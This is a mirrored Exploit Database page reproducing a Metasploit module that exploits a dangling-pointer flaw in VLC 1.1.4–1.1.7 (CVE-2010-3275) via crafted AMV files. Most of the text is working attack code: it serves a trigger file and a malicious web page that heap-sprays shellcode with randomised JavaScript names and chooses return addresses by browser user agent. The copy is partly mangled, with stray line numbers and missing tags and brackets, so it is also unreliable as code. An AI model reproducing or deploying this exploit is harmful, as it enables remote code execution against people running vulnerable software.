VideoLAN VLC Media Player 1.1.4 – ‘AMV’ Dangling Pointer (Metasploit)

Exploit Database
122 阅读

作者： Metasploit

日期： 2011-03-26
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17048/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

# $Id: vlc_amv.rb 12140 2011-03-26 00:07:36Z sinn3r $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})

super(update_info(info,

'Name'=> "VLC AMV Dangling Pointer Vulnerability",

'Description' => %q{

This module exploits VLC media player when handling a .AMV file. By flipping the 0x41st

byte in the file format (video width/height), VLC crashes due to an invalid pointer, which

allows remote attackers to gain arbitrary code execution.

The vulnerable packages include:

VLC 1.1.4

VLC 1.1.5

VLC 1.1.6

VLC 1.1.7

'License' => MSF_LICENSE,

'Version' => "$Revision: 12140 $",

'Author'=>

[

'sinn3r',

'References' =>

[

['CVE', 'CVE-2010-3275'],

['URL', 'http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files'],

'Payload' =>

{

'BadChars'=> "\x00",

'space' => 1000,

'StackAdjustment' => -3500,

'DefaultOptions' =>

{

'ExitFunction' => "process",

'InitialAutoRunScript' => 'migrate -f',

'Platform' => 'win',

'Targets'=>

[

[ 'Automatic', {} ],

[ 'Windows XP SP3 IE6', {'Ret'=>0x0c0c0c0c} ],

[ 'Windows XP SP3 IE7', {'Ret'=>0x1c1c1c1c} ],

'DisclosureDate' => "Mar 23 2011",

'DefaultTarget' => 0))

end

def getRet(cli, request)

if target.name == 'Automatic'

agent = request.headers['User-Agent']

case agent

when /MSIE 6\.0/

return [0x0c0c0c0c].pack('V') * 8

when /MSIE 7\.0/

return [0x1c1c1c1c].pack('V') * 8

when /^vlc/

#VLC identifies itself as "VLC" when requesting our trigger file

return ""

when /^NSPlayer/

#NSPlayer is also used while requesting the trigger file

return ""

else

return nil

end

else

#User manually specified a target

return [target.ret].pack('V') * 8

end

def exploit

path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-3275.amv")

f = File.open(path, "rb")

@trigger = f.read

f.close

super

end

def on_request_uri(cli, request)

#Determine if client is a potential victim either manually or automatically,

#and then return the appropriate EIP

nops = getRet(cli, request)

if nops == nil

send_not_found(cli)

return

end

if request.uri.match(/\.amv/)

print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}")

send_response(cli, @trigger, { 'Content-Type' => 'text/plain' } )

return

end

nopsled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

js_func_name = rand_text_alpha(rand(6) + 3)

js_var_blocks_name = rand_text_alpha(rand(6) + 3)

js_var_shell_name= rand_text_alpha(rand(6) + 3)

js_var_nopsled_name= rand_text_alpha(rand(6) + 3)

js_var_index_name= rand_text_alpha(rand(6) + 3)

trigger_file = datastore['URIPATH'] + "/" + rand_text_alpha(rand(6) + 3) + ".amv"

html = <<-EOS

<html>

<head>

function #{js_func_name}() {

var #{js_var_blocks_name} = new Array();

var #{js_var_shell_name} = unescape("#{shellcode}");

var #{js_var_nopsled_name} = unescape("#{nopsled}");

do { #{js_var_nopsled_name} += #{js_var_nopsled_name} } while (#{js_var_nopsled_name}.length < 82000);

for (#{js_var_index_name}=0; #{js_var_index_name} < 3500; #{js_var_index_name}++) {

#{js_var_blocks_name}[#{js_var_index_name}] = #{js_var_nopsled_name} + #{js_var_shell_name};

}

#{js_func_name}();

</script>

</head>

<body>

codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab"

width="0" height="0"

events="True">

</object>

</body>

</html>

EOS

#Remove extra tabs in HTML

html = html.gsub(/^\t\t/, "")

print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")

send_response( cli, html, {'Content-Type' => 'text/html'} )

end